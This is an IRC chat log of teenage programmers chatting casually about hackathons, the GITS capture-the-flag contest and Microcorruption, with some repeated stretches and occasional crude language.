[2015-01-16T00:59:55-0500] <nezorg> too bad it's run by a rather... crazy guy
[2015-01-16T01:12:55-0500] <nezorg> well this is fucking scary https://www.reddit.com/r/netsec/comments/2siq2s/new_cybersecurity_law_could_make_this_subreddit_a/
[2015-01-16T06:38:10-0500] <+JacobEdelman> I'm back!
[2015-01-16T06:38:16-0500] <+JacobEdelman> and I am now on my old computer
[2015-01-16T09:05:48-0500] <+JacobEdelman> I'm looking through pdgn chat logs from 3pm
[2015-01-16T09:05:51-0500] <+JacobEdelman> and I am confused
[2015-01-16T09:05:57-0500] <+JacobEdelman> too many jacobs
[2015-01-16T09:06:13-0500] <+JacobEdelman> I have no idea whether I'm being insulted or complimented...
[2015-01-16T09:06:32-0500] <+JacobEdelman> I'll just assume I'm being complimented
[2015-01-16T09:08:08-0500] <+JacobEdelman> oh wait
[2015-01-16T09:08:11-0500] <+JacobEdelman> not 3 pm
[2015-01-16T09:08:19-0500] <+JacobEdelman> its just my system time is completely messed up
[2015-01-16T09:08:32-0500] <+JacobEdelman> since I'm failry certain its not 1:09 am right now
[2015-01-16T09:08:33-0500] <+JacobEdelman> :P
[2015-01-16T09:09:21-0500] <+JacobEdelman> ah, those messages are only from 11pm...
[2015-01-16T11:27:29-0500] <LittleBobbyTables> I like how my old teacher didn't ask how I got her new email when I asked her how her new school was going, she just sort of answered my questions
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[2015-01-16T12:26:21-0500] <@awe> LittleBobbyTables: the interwebs
[2015-01-16T12:36:29-0500] • Pharyngeal: thinks he'll miss PennApps =/
[2015-01-16T14:21:15-0500] <@awe> D:
[2015-01-16T14:21:21-0500] <@awe> Pharyngeal: Son, I am disappoint.
[2015-01-16T14:39:05-0500] <+JacobEdelman> typescript supports union types
[2015-01-16T14:40:30-0500] <+JacobEdelman> Pharyngeal: .... I will send drones to hunt you down and bring you to the Unofficial Pdgn PennApps Meetup
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[2015-01-16T14:40:50-0500] <+JacobEdelman> (or UPPM, pronounced wu-at-?)
[2015-01-16T14:41:02-0500] <alokpathy> JacobEdelman: Did you tell awe about the new pickup time and location?
[2015-01-16T14:41:04-0500] <+JacobEdelman> alok, what you doing?
[2015-01-16T14:41:12-0500] <@awe> Wat?
[2015-01-16T14:41:16-0500] <+JacobEdelman> we have school now
[2015-01-16T14:41:19-0500] <+JacobEdelman> alokpathy: yes, I did
[2015-01-16T14:41:22-0500] <+JacobEdelman> wait, new?
[2015-01-16T14:41:25-0500] <@awe> Yeah.
[2015-01-16T14:41:25-0500] <alokpathy> 3:30?
[2015-01-16T14:41:27-0500] <@awe> Yes.
[2015-01-16T14:41:28-0500] <+JacobEdelman> you mean, your house 3:30?
[2015-01-16T14:41:32-0500] <alokpathy> Yeah
[2015-01-16T14:41:33-0500] <+JacobEdelman> and my house 3;30
[2015-01-16T14:41:35-0500] <@awe> 3:30 and going to your house then the JacobEdelman house
[2015-01-16T14:41:38-0500] <@awe> Yeah, I gotchu.
[2015-01-16T14:41:41-0500] <alokpathy> Yeah, that's what I meant by new.
[2015-01-16T14:41:42-0500] <alokpathy> Alrighty
[2015-01-16T14:41:44-0500] <alokpathy> Thanks.
[2015-01-16T14:41:47-0500] <+JacobEdelman> no, you;re supposed to be at both houses
[2015-01-16T14:41:52-0500] <@awe> Simultaneously?
[2015-01-16T14:41:52-0500] <+JacobEdelman> at 3;30
[2015-01-16T14:41:55-0500] <@awe> Well, I will be.
[2015-01-16T14:41:55-0500] <+JacobEdelman> yes
[2015-01-16T14:41:58-0500] <@awe> In alternate universes.
[2015-01-16T14:41:58-0500] <+JacobEdelman> good
[2015-01-16T14:42:05-0500] <+JacobEdelman> ...
[2015-01-16T14:42:13-0500] <@awe> In one universe, I made the decision to go to JacobEdelman's house at 3:30
[2015-01-16T14:42:16-0500] <+JacobEdelman> which one will you be at my house in?
[2015-01-16T14:42:19-0500] <@awe> in another, I made the decision to go to alokpathy's.
[2015-01-16T14:42:21-0500] <+JacobEdelman> I'll just go there
[2015-01-16T14:42:34-0500] <+JacobEdelman> gtg
[2015-01-16T14:50:24-0500] <alokpathy> Go to my house :D
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[2015-01-16T20:38:13-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-16T14:42:19-0500] <@awe> in another, I made the decision to go to alokpathy's.
[2015-01-16T14:42:21-0500] <JacobEdelman> I'll just go there
[2015-01-16T14:42:34-0500] <JacobEdelman> gtg
[2015-01-16T14:50:24-0500] <alokpathy> Go to my house :D
[2015-01-16T15:23:53-0500] <alokpathy> JacobEdelman: did you get the liability waiver signed this time?
[2015-01-16T15:31:58-0500] <alokpathy> awe: Come to my house first. I'm the cooler one :P
[2015-01-16T17:21:13-0500] <Hyper> eeyyy I finally found seats wooo
[2015-01-16T17:22:16-0500] <The_Master> Are peoples at PenApps?
[2015-01-16T17:22:38-0500] <Hyper> I am :)
[2015-01-16T17:22:47-0500] <Hyper> idk about anyone else
[2015-01-16T17:23:22-0500] <The_Master> they should be their soon
[2015-01-16T17:24:06-0500] <+Tamini> lol alokpathy 
[2015-01-16T17:24:13-0500] <+Tamini> ive been forging my pclassic waver forever
[2015-01-16T17:24:16-0500] <+Tamini> i keep forgetting
[2015-01-16T18:04:04-0500] <alokpathy> XD
[2015-01-16T18:04:17-0500] <The_Master> alokpathy: you at PenApps?
[2015-01-16T18:05:58-0500] <alokpathy> No, I'm at PennApps
[2015-01-16T18:06:45-0500] <The_Master> Hyper said he was at PenApps, so you are at different competitions?
[2015-01-16T18:11:14-0500] <alokpathy> Tamini: this is awe. I hate you for not being here.
[2015-01-16T18:11:22-0500] <alokpathy> The_Master: yes
[2015-01-16T18:11:24-0500] <+Tamini> i love you, bb
[2015-01-16T18:11:41-0500] <alokpathy> I can never forgive you.
[2015-01-16T18:12:08-0500] <alokpathy> This transgression is too serious.
[2015-01-16T19:24:39-0500] <LittleBobbyTables> awe, stop hating people. It's not nice.
[2015-01-16T19:37:03-0500] <The_Master> LittleBobbyTables: I have been deceived by whole life!
[2015-01-16T20:18:01-0500] <+hardmath123> So, who's doing Gits?
[2015-01-16T20:18:08-0500] <LittleBobbyTables> tfw can't answer the 1 point on it
[2015-01-16T20:38:13-0500] Mode is +ns
[2015-01-16T20:39:01-0500] <@awe> LittleBobbyTables: hi
[2015-01-16T20:39:03-0500] <@awe> hi Tamini 
[2015-01-16T20:39:07-0500] <@awe> Tamini: I still don't like you.
[2015-01-16T20:39:18-0500] <LittleBobbyTables> https://www.youtube.com/watch?v=y0yjATpkDxM
[2015-01-16T20:39:22-0500] <LittleBobbyTables> hi awe
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[2015-01-16T20:40:29-0500] Pidgey sets mode +v JacobEdelman
[2015-01-16T20:40:36-0500] <+JacobEdelman> I'm here!
[2015-01-16T20:40:50-0500] <LittleBobbyTables> JacobEdelman: 
[2015-01-16T20:40:55-0500] <LittleBobbyTables> What's the answer to every GITS problem, kthx
[2015-01-16T20:40:58-0500] <+JacobEdelman> what did I do?
[2015-01-16T20:41:09-0500] <+JacobEdelman> trolololol
[2015-01-16T20:41:15-0500] <+JacobEdelman> thats the answer
[2015-01-16T20:43:07-0500] <+Tamini> awe: I love you, bb
[2015-01-16T20:43:12-0500] <@awe> I love you too, bb.
[2015-01-16T20:43:43-0500] <+JacobEdelman> http://caffe.berkeleyvision.org/
[2015-01-16T21:02:16-0500] <ubuntor> how's gits?
[2015-01-16T21:02:23-0500] <+hardmath123> HARD
[2015-01-16T21:02:41-0500] <ubuntor> but fun?
[2015-01-16T21:02:44-0500] <alokpathy> Darn wait lemme see
[2015-01-16T21:02:53-0500] <ubuntor> also, how's pennapps?
[2015-01-16T21:04:04-0500] <@awe> Good so far, I suppose.
[2015-01-16T21:04:14-0500] <ubuntor> nice
[2015-01-16T21:06:12-0500] <LittleBobbyTables> hardmath123: hao do lvl 1 pls
[2015-01-16T21:10:48-0500] <alokpathy> GITS looks hard .-.
[2015-01-16T21:11:38-0500] <+hardmath123> JacobEdelman: the basic hamelin interface works now
[2015-01-16T21:12:01-0500] <+hardmath123> JacobEdelman: I'm writing the TCP interface plugin now
[2015-01-16T21:24:39-0500] <+JacobEdelman> http://caffe.berkeleyvision.org/
[2015-01-16T21:24:39-0500] <+JacobEdelman> http://nbviewer.ipython.org/github/BVLC/caffe/blob/master/examples/classification.ipynb
[2015-01-16T21:24:43-0500] <+JacobEdelman> hardmath123: cool!
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[2015-01-16T21:25:06-0500] <alokpathy> JacobEdelman> http://nbviewer.ipython.org/github/BVLC/caffe/blob/master/examples/classification.ipynb
[2015-01-16T21:25:22-0500] <alokpathy> JacobEdelman> http://nbviewer.ipython.org/github/BVLC/caffe/blob/master/examples/classification.ipynb
[2015-01-16T21:25:41-0500] <alokpathy> Oops
[2015-01-16T21:25:41-0500] • alokpathy: JacobEdelman> http://caffe.berkeleyvision.org/
[2015-01-16T21:26:16-0500] <ubuntor> ???
[2015-01-16T21:26:22-0500] <The_Master> JacobEdelman: video chat?
[2015-01-16T21:26:47-0500] <+JacobEdelman> okay
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[2015-01-16T21:28:08-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-16T21:04:05-0500] <@awe> Good so far, I suppose.
[2015-01-16T21:04:14-0500] <ubuntor> nice
[2015-01-16T21:06:12-0500] <LittleBobbyTables> hardmath123: hao do lvl 1 pls
[2015-01-16T21:10:49-0500] <alokpathy> GITS looks hard .-.
[2015-01-16T21:11:38-0500] <+hardmath123> JacobEdelman: the basic hamelin interface works now
[2015-01-16T21:12:02-0500] <+hardmath123> JacobEdelman: I'm writing the TCP interface plugin now
[2015-01-16T21:24:39-0500] <+JacobEdelman> http://caffe.berkeleyvision.org/
[2015-01-16T21:24:40-0500] <+JacobEdelman> http://nbviewer.ipython.org/github/BVLC/caffe/blob/master/examples/classification.ipynb
[2015-01-16T21:24:43-0500] <+JacobEdelman> hardmath123: cool!
[2015-01-16T21:25:07-0500] <alokpathy> JacobEdelman> http://nbviewer.ipython.org/github/BVLC/caffe/blob/master/examples/classification.ipynb
[2015-01-16T21:25:22-0500] <alokpathy> JacobEdelman> http://nbviewer.ipython.org/github/BVLC/caffe/blob/master/examples/classification.ipynb
[2015-01-16T21:25:41-0500] <alokpathy> Oops
[2015-01-16T21:25:41-0500] • alokpathy: JacobEdelman> http://caffe.berkeleyvision.org/
[2015-01-16T21:26:17-0500] <ubuntor> ???
[2015-01-16T21:26:22-0500] <The_Master> JacobEdelman: video chat?
[2015-01-16T21:26:47-0500] <+JacobEdelman> okay
[2015-01-16T21:28:06-0500] <+Tamini> you guys have a vid chat whoa
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[2015-01-16T21:28:25-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-16T21:04:05-0500] <@awe> Good so far, I suppose.
[2015-01-16T21:04:14-0500] <ubuntor> nice
[2015-01-16T21:06:12-0500] <LittleBobbyTables> hardmath123: hao do lvl 1 pls
[2015-01-16T21:10:49-0500] <alokpathy> GITS looks hard .-.
[2015-01-16T21:11:38-0500] <+hardmath123> JacobEdelman: the basic hamelin interface works now
[2015-01-16T21:12:02-0500] <+hardmath123> JacobEdelman: I'm writing the TCP interface plugin now
[2015-01-16T21:24:39-0500] <+JacobEdelman> http://caffe.berkeleyvision.org/
[2015-01-16T21:24:40-0500] <+JacobEdelman> http://nbviewer.ipython.org/github/BVLC/caffe/blob/master/examples/classification.ipynb
[2015-01-16T21:24:43-0500] <+JacobEdelman> hardmath123: cool!
[2015-01-16T21:25:07-0500] <alokpathy> JacobEdelman> http://nbviewer.ipython.org/github/BVLC/caffe/blob/master/examples/classification.ipynb
[2015-01-16T21:25:22-0500] <alokpathy> JacobEdelman> http://nbviewer.ipython.org/github/BVLC/caffe/blob/master/examples/classification.ipynb
[2015-01-16T21:25:41-0500] <alokpathy> Oops
[2015-01-16T21:25:41-0500] • alokpathy: JacobEdelman> http://caffe.berkeleyvision.org/
[2015-01-16T21:26:17-0500] <ubuntor> ???
[2015-01-16T21:26:22-0500] <The_Master> JacobEdelman: video chat?
[2015-01-16T21:26:47-0500] <+JacobEdelman> okay
[2015-01-16T21:28:06-0500] <+Tamini> you guys have a vid chat whoa
[2015-01-16T21:28:25-0500] Mode is +ns
[2015-01-16T21:28:39-0500] <+Tamini> also hardmath123: do you want to cry with me
[2015-01-16T21:28:46-0500] <+Tamini> everything is hard
[2015-01-16T21:30:31-0500] <ubuntor> BUBBLES
[2015-01-16T21:30:37-0500] <LittleBobbyTables> You're a bubble
[2015-01-16T21:30:51-0500] <ubuntor> darn
[2015-01-16T21:31:59-0500] <LittleBobbyTables> #rekt
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[2015-01-16T21:42:22-0500] <unitedjaymo> real this time
[2015-01-16T21:42:23-0500] <unitedjaymo> #hellyeahhh
[2015-01-16T21:42:42-0500] <+Tamini> oh
[2015-01-16T21:42:45-0500] <+Tamini> eyyo jaymo
[2015-01-16T21:42:48-0500] <+Tamini> how's penapps?
[2015-01-16T21:42:49-0500] <unitedjaymo> eyyyy
[2015-01-16T21:42:55-0500] <unitedjaymo> https://plus.google.com/hangouts/_/gzbkpy5c6tevcqgedludbtwkdya
[2015-01-16T21:42:58-0500] <unitedjaymo> Michael's on!
[2015-01-16T21:43:03-0500] <+Tamini> mzhang?
[2015-01-16T21:43:05-0500] <unitedjaymo> and I'm with sumin alokpathy and jacob
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[2015-01-16T21:43:09-0500] <unitedjaymo> hellyeahh
[2015-01-16T21:43:13-0500] <+Tamini> yeah broo
[2015-01-16T21:43:14-0500] <failedxyz> yo
[2015-01-16T21:43:16-0500] <+Tamini> dude alok wouldnt add me
[2015-01-16T21:43:18-0500] <failedxyz> wus poppin niggas
[2015-01-16T21:43:29-0500] <+Tamini> its so freaking loud in the background kids
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[2015-01-16T21:04:05-0500] <@awe> Good so far, I suppose.
[2015-01-16T21:04:14-0500] <ubuntor> nice
[2015-01-16T21:06:12-0500] <LittleBobbyTables> hardmath123: hao do lvl 1 pls
[2015-01-16T21:10:49-0500] <alokpathy> GITS looks hard .-.
[2015-01-16T21:11:38-0500] <+hardmath123> JacobEdelman: the basic hamelin interface works now
[2015-01-16T21:12:02-0500] <+hardmath123> JacobEdelman: I'm writing the TCP interface plugin now
[2015-01-16T21:24:39-0500] <+JacobEdelman> http://caffe.berkeleyvision.org/
[2015-01-16T21:24:40-0500] <+JacobEdelman> http://nbviewer.ipython.org/github/BVLC/caffe/blob/master/examples/classification.ipynb
[2015-01-16T21:24:43-0500] <+JacobEdelman> hardmath123: cool!
[2015-01-16T21:25:07-0500] <alokpathy> JacobEdelman> http://nbviewer.ipython.org/github/BVLC/caffe/blob/master/examples/classification.ipynb
[2015-01-16T21:25:22-0500] <alokpathy> JacobEdelman> http://nbviewer.ipython.org/github/BVLC/caffe/blob/master/examples/classification.ipynb
[2015-01-16T21:25:41-0500] <alokpathy> Oops
[2015-01-16T21:25:41-0500] • alokpathy: JacobEdelman> http://caffe.berkeleyvision.org/
[2015-01-16T21:26:17-0500] <ubuntor> ???
[2015-01-16T21:26:22-0500] <The_Master> JacobEdelman: video chat?
[2015-01-16T21:26:47-0500] <+JacobEdelman> okay
[2015-01-16T21:28:06-0500] <+Tamini> you guys have a vid chat whoa
[2015-01-16T21:28:39-0500] <+Tamini> also hardmath123: do you want to cry with me
[2015-01-16T21:28:46-0500] <+Tamini> everything is hard
[2015-01-16T21:30:31-0500] <ubuntor> BUBBLES
[2015-01-16T21:30:38-0500] <LittleBobbyTables> You're a bubble
[2015-01-16T21:30:51-0500] <ubuntor> darn
[2015-01-16T21:31:59-0500] <LittleBobbyTables> #rekt
[2015-01-16T21:42:22-0500] <unitedjaymo> real this time
[2015-01-16T21:42:23-0500] <unitedjaymo> #hellyeahhh
[2015-01-16T21:42:42-0500] <+Tamini> oh
[2015-01-16T21:42:46-0500] <+Tamini> eyyo jaymo
[2015-01-16T21:42:48-0500] <+Tamini> how's penapps?
[2015-01-16T21:42:49-0500] <unitedjaymo> eyyyy
[2015-01-16T21:42:56-0500] <unitedjaymo> https://plus.google.com/hangouts/_/gzbkpy5c6tevcqgedludbtwkdya
[2015-01-16T21:42:58-0500] <unitedjaymo> Michael's on!
[2015-01-16T21:43:04-0500] <+Tamini> mzhang?
[2015-01-16T21:43:05-0500] <unitedjaymo> and I'm with sumin alokpathy and jacob
[2015-01-16T21:43:10-0500] <unitedjaymo> hellyeahh
[2015-01-16T21:43:14-0500] <+Tamini> yeah broo
[2015-01-16T21:43:15-0500] <failedxyz> yo
[2015-01-16T21:43:17-0500] <+Tamini> dude alok wouldnt add me
[2015-01-16T21:43:18-0500] <failedxyz> wus poppin niggas
[2015-01-16T21:43:30-0500] <+Tamini> its so freaking loud in the background kids
[2015-01-16T21:44:20-0500] <LittleBobbyTables> failedxyz: u nub
[2015-01-16T21:44:27-0500] <LittleBobbyTables> y u no pro osu
[2015-01-16T21:44:39-0500] Mode is +ns
[2015-01-16T21:44:51-0500] <failedxyz> :I
[2015-01-16T21:45:08-0500] <failedxyz> i'm making progress :S
[2015-01-16T21:45:13-0500] <failedxyz> rank 5.8k now
[2015-01-16T21:45:38-0500] <+Tamini> wait
[2015-01-16T21:45:39-0500] <+Tamini> who's where
[2015-01-16T21:45:41-0500] <+Tamini> im confused
[2015-01-16T21:45:48-0500] <failedxyz> i'm at mhacks
[2015-01-16T21:45:51-0500] <+Tamini> ah ok
[2015-01-16T21:45:58-0500] <+Tamini> so the person whose face i couldnt see was jacob
[2015-01-16T21:46:33-0500] <failedxyz> i guess
[2015-01-16T21:48:02-0500] <+Tamini> am i lagging or
[2015-01-16T21:48:04-0500] <+Tamini> is it j
[2015-01-16T21:48:08-0500] <failedxyz> idk
[2015-01-16T21:48:11-0500] <failedxyz> i'm not lagging
[2015-01-16T21:48:13-0500] <+Tamini> i just crashed so
[2015-01-16T21:48:16-0500] <LittleBobbyTables> failedxyz: my friend said she would die if I was really cptnXn
[2015-01-16T21:48:38-0500] <failedxyz> lolol
[2015-01-16T21:48:40-0500] <failedxyz> are you really
[2015-01-16T21:48:59-0500] <+Tamini> yeah google
[2015-01-16T21:49:01-0500] <+JacobEdelman> I'm at pennapps with jay and alok
[2015-01-16T21:49:02-0500] <+Tamini> really doesnt want me calling you
[2015-01-16T21:49:07-0500] <failedxyz> lol gg
[2015-01-16T21:49:10-0500] <+JacobEdelman> (well, my team is ben, alok, awe, and myself)
[2015-01-16T21:49:23-0500] <+JacobEdelman> (jay is on a team with some girl I don't know and victor, and maybe someone else)
[2015-01-16T21:49:23-0500] <failedxyz> i'm lagging too
[2015-01-16T21:49:25-0500] <failedxyz> G.G
[2015-01-16T21:49:48-0500] <+JacobEdelman> LittleBobbyTables: lol
[2015-01-16T21:50:06-0500] <failedxyz> LittleBobbyTables:  how can i confirm if you are actually cptnXn
[2015-01-16T21:50:38-0500] <LittleBobbyTables> Just believe
[2015-01-16T21:50:43-0500] <failedxyz> ...k
[2015-01-16T21:50:54-0500] <+Tamini> take a selfie
[2015-01-16T21:50:56-0500] <failedxyz> if i open up chat in osu and i message cptnXn
[2015-01-16T21:50:56-0500] <+Tamini> with your osu profile
[2015-01-16T21:50:58-0500] <+Tamini> LOL
[2015-01-16T21:51:09-0500] <LittleBobbyTables> Probably wouldn't answer
[2015-01-16T21:51:15-0500] <failedxyz> then you're not cptnXn
[2015-01-16T21:51:17-0500] <failedxyz> gg
[2015-01-16T21:51:32-0500] <alokpathy> Aw wait what
[2015-01-16T21:51:35-0500] <LittleBobbyTables> https://www.irccloud.com/pastebin/xroQVOF2
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[2015-01-16T21:53:30-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-16T21:42:58-0500] <unitedjaymo> Michael's on!
[2015-01-16T21:43:04-0500] <+Tamini> mzhang?
[2015-01-16T21:43:05-0500] <unitedjaymo> and I'm with sumin alokpathy and jacob
[2015-01-16T21:43:10-0500] <unitedjaymo> hellyeahh
[2015-01-16T21:43:14-0500] <+Tamini> yeah broo
[2015-01-16T21:43:15-0500] <failedxyz> yo
[2015-01-16T21:43:17-0500] <+Tamini> dude alok wouldnt add me
[2015-01-16T21:43:18-0500] <failedxyz> wus poppin niggas
[2015-01-16T21:43:30-0500] <+Tamini> its so freaking loud in the background kids
[2015-01-16T21:44:20-0500] <LittleBobbyTables> failedxyz: u nub
[2015-01-16T21:44:27-0500] <LittleBobbyTables> y u no pro osu
[2015-01-16T21:44:51-0500] <failedxyz> :I
[2015-01-16T21:45:08-0500] <failedxyz> i'm making progress :S
[2015-01-16T21:45:13-0500] <failedxyz> rank 5.8k now
[2015-01-16T21:45:38-0500] <+Tamini> wait
[2015-01-16T21:45:40-0500] <+Tamini> who's where
[2015-01-16T21:45:41-0500] <+Tamini> im confused
[2015-01-16T21:45:48-0500] <failedxyz> i'm at mhacks
[2015-01-16T21:45:51-0500] <+Tamini> ah ok
[2015-01-16T21:45:59-0500] <+Tamini> so the person whose face i couldnt see was jacob
[2015-01-16T21:46:33-0500] <failedxyz> i guess
[2015-01-16T21:48:03-0500] <+Tamini> am i lagging or
[2015-01-16T21:48:04-0500] <+Tamini> is it j
[2015-01-16T21:48:09-0500] <failedxyz> idk
[2015-01-16T21:48:11-0500] <failedxyz> i'm not lagging
[2015-01-16T21:48:14-0500] <+Tamini> i just crashed so
[2015-01-16T21:48:16-0500] <LittleBobbyTables> failedxyz: my friend said she would die if I was really cptnXn
[2015-01-16T21:48:39-0500] <failedxyz> lolol
[2015-01-16T21:48:41-0500] <failedxyz> are you really
[2015-01-16T21:48:59-0500] <+Tamini> yeah google
[2015-01-16T21:49:01-0500] <+JacobEdelman> I'm at pennapps with jay and alok
[2015-01-16T21:49:03-0500] <+Tamini> really doesnt want me calling you
[2015-01-16T21:49:07-0500] <failedxyz> lol gg
[2015-01-16T21:49:10-0500] <+JacobEdelman> (well, my team is ben, alok, awe, and myself)
[2015-01-16T21:49:23-0500] <+JacobEdelman> (jay is on a team with some girl I don't know and victor, and maybe someone else)
[2015-01-16T21:49:23-0500] <failedxyz> i'm lagging too
[2015-01-16T21:49:25-0500] <failedxyz> G.G
[2015-01-16T21:49:48-0500] <+JacobEdelman> LittleBobbyTables: lol
[2015-01-16T21:50:06-0500] <failedxyz> LittleBobbyTables:  how can i confirm if you are actually cptnXn
[2015-01-16T21:50:38-0500] <LittleBobbyTables> Just believe
[2015-01-16T21:50:43-0500] <failedxyz> ...k
[2015-01-16T21:50:54-0500] <+Tamini> take a selfie
[2015-01-16T21:50:56-0500] <failedxyz> if i open up chat in osu and i message cptnXn
[2015-01-16T21:50:57-0500] <+Tamini> with your osu profile
[2015-01-16T21:50:58-0500] <+Tamini> LOL
[2015-01-16T21:51:09-0500] <LittleBobbyTables> Probably wouldn't answer
[2015-01-16T21:51:15-0500] <failedxyz> then you're not cptnXn
[2015-01-16T21:51:17-0500] <failedxyz> gg
[2015-01-16T21:51:32-0500] <alokpathy> Aw wait what
[2015-01-16T21:51:35-0500] <LittleBobbyTables> https://www.irccloud.com/pastebin/xroQVOF2
[2015-01-16T21:53:31-0500] Mode is +ns
[2015-01-16T22:03:33-0500] <+hardmath123> vearch is a funny name
[2015-01-16T22:03:51-0500] <+hardmath123> also
[2015-01-16T22:04:15-0500] <+hardmath123> I just spent like 3 hours on nikoli, and then I see a tyler (a-la-PPP) asking  for a hint in the IRC.
[2015-01-16T22:04:19-0500] <+hardmath123> D:
[2015-01-16T22:05:46-0500] <ubuntor> lol
[2015-01-16T22:11:50-0500] <+Tamini> wait wait wait
[2015-01-16T22:11:58-0500] <+Tamini> me toooo
[2015-01-16T22:12:00-0500] <+Tamini> you share my sentiments
[2015-01-16T22:12:12-0500] <failedxyz> yo
[2015-01-16T22:12:15-0500] <failedxyz> the first problem is so BS
[2015-01-16T22:12:15-0500] <+Tamini> i tried every reasonable thing with nikoli and i cryyyyyyyyyy
[2015-01-16T22:12:18-0500] <+Tamini> hm?
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[2015-01-16T22:12:43-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-16T21:45:08-0500] <failedxyz> i'm making progress :S
[2015-01-16T21:45:13-0500] <failedxyz> rank 5.8k now
[2015-01-16T21:45:38-0500] <+Tamini> wait
[2015-01-16T21:45:40-0500] <+Tamini> who's where
[2015-01-16T21:45:41-0500] <+Tamini> im confused
[2015-01-16T21:45:48-0500] <failedxyz> i'm at mhacks
[2015-01-16T21:45:51-0500] <+Tamini> ah ok
[2015-01-16T21:45:59-0500] <+Tamini> so the person whose face i couldnt see was jacob
[2015-01-16T21:46:33-0500] <failedxyz> i guess
[2015-01-16T21:48:03-0500] <+Tamini> am i lagging or
[2015-01-16T21:48:04-0500] <+Tamini> is it j
[2015-01-16T21:48:09-0500] <failedxyz> idk
[2015-01-16T21:48:11-0500] <failedxyz> i'm not lagging
[2015-01-16T21:48:14-0500] <+Tamini> i just crashed so
[2015-01-16T21:48:16-0500] <LittleBobbyTables> failedxyz: my friend said she would die if I was really cptnXn
[2015-01-16T21:48:39-0500] <failedxyz> lolol
[2015-01-16T21:48:41-0500] <failedxyz> are you really
[2015-01-16T21:48:59-0500] <+Tamini> yeah google
[2015-01-16T21:49:01-0500] <+JacobEdelman> I'm at pennapps with jay and alok
[2015-01-16T21:49:03-0500] <+Tamini> really doesnt want me calling you
[2015-01-16T21:49:07-0500] <failedxyz> lol gg
[2015-01-16T21:49:10-0500] <+JacobEdelman> (well, my team is ben, alok, awe, and myself)
[2015-01-16T21:49:23-0500] <+JacobEdelman> (jay is on a team with some girl I don't know and victor, and maybe someone else)
[2015-01-16T21:49:23-0500] <failedxyz> i'm lagging too
[2015-01-16T21:49:25-0500] <failedxyz> G.G
[2015-01-16T21:49:48-0500] <+JacobEdelman> LittleBobbyTables: lol
[2015-01-16T21:50:06-0500] <failedxyz> LittleBobbyTables:  how can i confirm if you are actually cptnXn
[2015-01-16T21:50:38-0500] <LittleBobbyTables> Just believe
[2015-01-16T21:50:43-0500] <failedxyz> ...k
[2015-01-16T21:50:54-0500] <+Tamini> take a selfie
[2015-01-16T21:50:56-0500] <failedxyz> if i open up chat in osu and i message cptnXn
[2015-01-16T21:50:57-0500] <+Tamini> with your osu profile
[2015-01-16T21:50:58-0500] <+Tamini> LOL
[2015-01-16T21:51:09-0500] <LittleBobbyTables> Probably wouldn't answer
[2015-01-16T21:51:15-0500] <failedxyz> then you're not cptnXn
[2015-01-16T21:51:17-0500] <failedxyz> gg
[2015-01-16T21:51:32-0500] <alokpathy> Aw wait what
[2015-01-16T21:51:35-0500] <LittleBobbyTables> https://www.irccloud.com/pastebin/xroQVOF2
[2015-01-16T22:03:33-0500] <+hardmath123> vearch is a funny name
[2015-01-16T22:03:51-0500] <+hardmath123> also
[2015-01-16T22:04:15-0500] <+hardmath123> I just spent like 3 hours on nikoli, and then I see a tyler (a-la-PPP) asking  for a hint in the IRC.
[2015-01-16T22:04:19-0500] <+hardmath123> D:
[2015-01-16T22:05:46-0500] <ubuntor> lol
[2015-01-16T22:11:50-0500] <+Tamini> wait wait wait
[2015-01-16T22:11:58-0500] <+Tamini> me toooo
[2015-01-16T22:12:00-0500] <+Tamini> you share my sentiments
[2015-01-16T22:12:12-0500] <failedxyz> yo
[2015-01-16T22:12:15-0500] <failedxyz> the first problem is so BS
[2015-01-16T22:12:16-0500] <+Tamini> i tried every reasonable thing with nikoli and i cryyyyyyyyyy
[2015-01-16T22:12:19-0500] <+Tamini> hm?
[2015-01-16T22:12:45-0500] Mode is +ns
[2015-01-16T22:12:53-0500] <LittleBobbyTables> The 1 pointer?
[2015-01-16T22:12:58-0500] <+hardmath123> <3
[2015-01-16T22:13:01-0500] <+hardmath123> We can cry together.
[2015-01-16T22:13:07-0500] <failedxyz> yeah
[2015-01-16T22:13:12-0500] <+Tamini> if hangout wanted to stay connected
[2015-01-16T22:13:23-0500] <+Tamini> we could all be friends
[2015-01-16T22:13:26-0500] <+hardmath123> knockers doesn't cooperate because ipv6 derps out
[2015-01-16T22:13:28-0500] <+Tamini> at 4 diff locations
[2015-01-16T22:13:33-0500] <+Tamini> WAIT OKAY ITS NOT JUST ME RIGHT
[2015-01-16T22:13:59-0500] <+hardmath123> YEAH IT'S YOU AND ME AND THE REST OF #gits-ctf COMPLAINING
[2015-01-16T22:14:03-0500] <failedxyz> G.G
[2015-01-16T22:14:13-0500] <LittleBobbyTables> I could totally come on and just listen to you guys and do nothing
[2015-01-16T22:14:24-0500] <+Tamini> like
[2015-01-16T22:14:33-0500] <+Tamini> omg i thought i was
[2015-01-16T22:14:35-0500] <+Tamini> retarded or something
[2015-01-16T22:14:38-0500] <+Tamini> becauase nothing was working
[2015-01-16T22:14:41-0500] <+Tamini> LOL
[2015-01-16T22:15:38-0500] <failedxyz> omg i thought i was
[2015-01-16T22:15:45-0500] <failedxyz> retarded or something
[2015-01-16T22:15:47-0500] <failedxyz> oh wait i am
[2015-01-16T22:16:34-0500] <failedxyz> game still isn't working for me
[2015-01-16T22:16:46-0500] <+Tamini> you're a smart popsicle mzhang
[2015-01-16T22:16:48-0500] <+Tamini> lol 
[2015-01-16T22:16:52-0500] <+Tamini> i tried to fix the game
[2015-01-16T22:17:06-0500] <+Tamini> and i think i failed because stuff that was working before stopped working! :D
[2015-01-16T22:17:17-0500] <+Tamini> me+reversing = nop
[2015-01-16T22:17:50-0500] <failedxyz> lol
[2015-01-16T22:17:56-0500] <LittleBobbyTables> I finished microcorruption
[2015-01-16T22:17:58-0500] <failedxyz> :o
[2015-01-16T22:18:03-0500] <failedxyz> i can't even do the first level
[2015-01-16T22:18:10-0500] <failedxyz> teach me pls
[2015-01-16T22:18:48-0500] <LittleBobbyTables> for reals?
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[2015-01-16T22:19:51-0500] <+Tamini> wait seriously
[2015-01-16T22:19:52-0500] <+Tamini> you finished it
[2015-01-16T22:19:57-0500] <+Tamini> it got super hard at like 5
[2015-01-16T22:20:22-0500] <LittleBobbyTables> Wasn't that the canary?
